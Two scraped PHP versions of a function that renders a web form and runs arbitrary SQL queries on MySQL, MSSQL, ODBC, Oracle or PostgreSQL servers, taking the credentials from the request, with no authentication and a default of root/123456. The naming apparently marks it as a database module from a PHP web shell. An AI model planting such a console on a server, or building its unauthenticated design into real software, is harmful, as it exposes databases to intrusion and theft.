function sqlclienT()
{
    global $t, $errorbox, $et, $hcwd;
    if (!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])) {
        $server = $_REQUEST['serveR'];
        $type = $_REQUEST['typE'];
        $pass = $_REQUEST['pasS'];
        $user = $_REQUEST['useR'];
        $query = $_REQUEST['querY'];
        $db = empty($_REQUEST['dB']) ? '' : $_REQUEST['dB'];
        $res = querY($type, $server, $user, $pass, $db, $query);
        if ($res) {
            $res = str_replace('|-|-|-|-|-|', '</td><td>', $res);
            $res = str_replace('|+|+|+|+|+|', '</td></tr><tr><td>', $res);
            $r = explode('[+][+][+]', $res);
            $r[1] = str_replace('[-][-][-]', "</td><td bgcolor='333333'>", $r[1]);
            echo "<table border=0 bgcolor='666666' width='100%'></tr><tr><td bgcolor='333333'>" . $r[1] . '</tr><tr><td>' . $r[0] . "{$et}<br>";
        } else {
            echo "{$errorbox} Failed!{$et}<br>";
        }
    }
    if (empty($_REQUEST['typE'])) {
        $_REQUEST['typE'] = '';
    }
    echo "<center>{$t}SQL cilent:</td><form name=client method='POST'><td bgcolor='#333333'><select name=typE><option valut=MySQL  onClick='document.client.serveR.disabled = false;' ";
    if ($_REQUEST['typE'] == 'MySQL') {
        echo 'selected';
    }
    echo ">MySQL</option><option valut=MSSQL onClick='document.client.serveR.disabled = false;' ";
    if ($_REQUEST['typE'] == 'MSSQL') {
        echo 'selected';
    }
    echo ">MSSQL</option><option valut=Oracle onClick='document.client.serveR.disabled = true;' ";
    if ($_REQUEST['typE'] == 'Oracle') {
        echo 'selected';
    }
    echo ">Oracle</option><option valut=PostgreSQL onClick='document.client.serveR.disabled = false;' ";
    if ($_REQUEST['typE'] == 'PostgreSQL') {
        echo 'selected';
    }
    echo ">PostgreSQL</option></select></td></tr><tr><td width='20%' bgcolor='#666666'>Server:</td><td bgcolor='#666666'><input type=text value='";
    if (!empty($_REQUEST['serveR'])) {
        echo htmlspecialchars($_REQUEST['serveR']);
    } else {
        echo 'localhost';
    }
    echo "' name=serveR size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=useR value='";
    if (!empty($_REQUEST['useR'])) {
        echo htmlspecialchars($_REQUEST['useR']);
    } else {
        echo 'root';
    }
    echo "' size=35></td><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text value='";
    if (isset($_REQUEST['pasS'])) {
        echo htmlspecialchars($_REQUEST['pasS']);
    } else {
        echo '123456';
    }
    echo "' name=pasS size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Database:</td><td bgcolor='#808080'><input type=text value='";
    if (!empty($_REQUEST['dB'])) {
        echo htmlspecialchars($_REQUEST['dB']);
    }
    echo "' name=dB size=35></td><tr><td width='20%' bgcolor='#666666'>Query:</td><td bgcolor='#666666'><textarea name=querY rows=5 cols=27>";
    if (!empty($_REQUEST['querY'])) {
        echo htmlspecialchars($_REQUEST['querY']);
    } else {
        echo 'SHOW DATABASES';
    }
    echo "</textarea></td></tr></tr><tr><td width='20%' bgcolor='#808080'></td><td bgcolor='#808080' align=right>{$hcwd}<input class=buttons type=submit value='Submit Query'></form>{$et}</center>";
}
Example #2
0
function sqlclienT()
{
    global $hcwd;
    if (!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])) {
        $server = $_REQUEST['serveR'];
        $type = $_REQUEST['typE'];
        $pass = $_REQUEST['pasS'];
        $user = $_REQUEST['useR'];
        $query = $_REQUEST['querY'];
        $db = empty($_REQUEST['dB']) ? '' : $_REQUEST['dB'];
        $res = querY($type, $server, $user, $pass, $db, $query);
        if ($res) {
            $res = str_replace('|-|-|-|-|-|', '</td><td>', $res);
            $res = str_replace('|+|+|+|+|+|', '</td></tr><tr onMouseOver="this.className=\'highlight\'" onMouseOut="this.className=\'normal\'"><td>', $res);
            $r = explode('[+][+][+]', $res);
            $r[1] = str_replace('[-][-][-]', "</th><th>", $r[1]);
            echo '<table border="0" cellspacing="0" cellpadding="0" class="sortable"><tr><th>' . $r[1] . '</th></tr><tr onMouseOver="this.className=\'highlight\'" onMouseOut="this.className=\'normal\'"><td>' . $r[0] . "</td></tr></table><br />";
        } else {
            echo "Failed!<br />";
        }
    }
    if (empty($_REQUEST['typE'])) {
        $_REQUEST['typE'] = '';
    }
    echo '
<script type="text/javascript">
var ser=new Array()
var q=new Array()
var h=new Array()
ser[0]="SERVER:"
ser[1]="SERVER:"
ser[2]="DSN:"
ser[3]="SERVER:"
ser[4]="SERVER:"

q[0]="SHOW DATABASES"
q[1]="SHOW DATABASES"
q[2]="SHOW TABLES"
q[3]="SHOW DATABASES"
q[4]="SHOW DATABASES"

h[0]=false
h[1]=false
h[2]=true
h[3]=false
h[4]=false


function showtext(){
document.getElementById("database").hidden =  h[document.getElementById("type").selectedIndex];
if((document.getElementById("query").value=="SHOW DATABASES") || (document.getElementById("query").value=="SHOW TABLES" ))document.getElementById("query").value =  q[document.getElementById("type").selectedIndex];
document.getElementById("server").innerHTML = ser[document.getElementById("type").selectedIndex];
}
</script>
<form name=client method="POST">
<div class="fieldwrapper">
<label class="styled" style="width:320px">SQL client</label>
</div><div class="fieldwrapper">
<label class="styled">Type:</label>
<div class="thefield">
<select onChange="showtext()" name="typE" id="type">
<option value=MySQL ';
    if ($_REQUEST['typE'] == 'MySQL') {
        echo 'selected';
    }
    echo '>MySQL</option>
<option value=MSSQL ';
    if ($_REQUEST['typE'] == 'MSSQL') {
        echo 'selected';
    }
    echo '>MSSQL</option>
<option value=ODBC ';
    if ($_REQUEST['typE'] == 'ODBC') {
        echo 'selected';
    }
    echo '>ODBC</option>
<option value=Oracle ';
    if ($_REQUEST['typE'] == 'Oracle') {
        echo 'selected';
    }
    echo '>Oracle</option>
<option value=PostgreSQL ';
    if ($_REQUEST['typE'] == 'PostgreSQL') {
        echo 'selected';
    }
    echo '>PostgreSQL</option>
</select>
</div>
</div><div class="fieldwrapper">
<label class="styled" id="server">Server:</label>
<div class="thefield">
<input type="text" name="serveR" value="';
    if (!empty($_REQUEST['serveR'])) {
        echo htmlspecialchars($_REQUEST['serveR']);
    } else {
        echo 'localhost';
    }
    echo '" size="30" />
</div>
</div><div class="fieldwrapper">
<label class="styled">Username:</label>
<div class="thefield">
<input type="text" name="useR" value="';
    if (!empty($_REQUEST['useR'])) {
        echo htmlspecialchars($_REQUEST['useR']);
    } else {
        echo 'root';
    }
    echo '" size="30" />
</div>
</div><div class="fieldwrapper">
<label class="styled">Password:</label>
<div class="thefield">
<input type="text" name="pasS" value="';
    if (isset($_REQUEST['pasS'])) {
        echo htmlspecialchars($_REQUEST['pasS']);
    } else {
        echo '123456';
    }
    echo '" size="30" />
</div>
</div><div class="fieldwrapper"  id="database">
<label class="styled">Database:</label>
<div class="thefield">
<input type="text" name="dB" value="';
    if (isset($_REQUEST['dB'])) {
        echo htmlspecialchars($_REQUEST['dB']);
    }
    echo '" size="30" />
</div>
</div> <div class="fieldwrapper">
<label class="styled">Query:</label>
<div class="thefield">
<textarea name="querY" id="query">';
    if (!empty($_REQUEST['querY'])) {
        echo htmlspecialchars($_REQUEST['querY']);
    } else {
        echo 'SHOW DATABASES';
    }
    echo '</textarea>
</div>
</div>' . $hcwd . '
<div class="buttonsdiv">
<input type="submit" value="Query" style="margin-left: 150px;" />
</div></form><script language="javascript">showtext()</script>';
}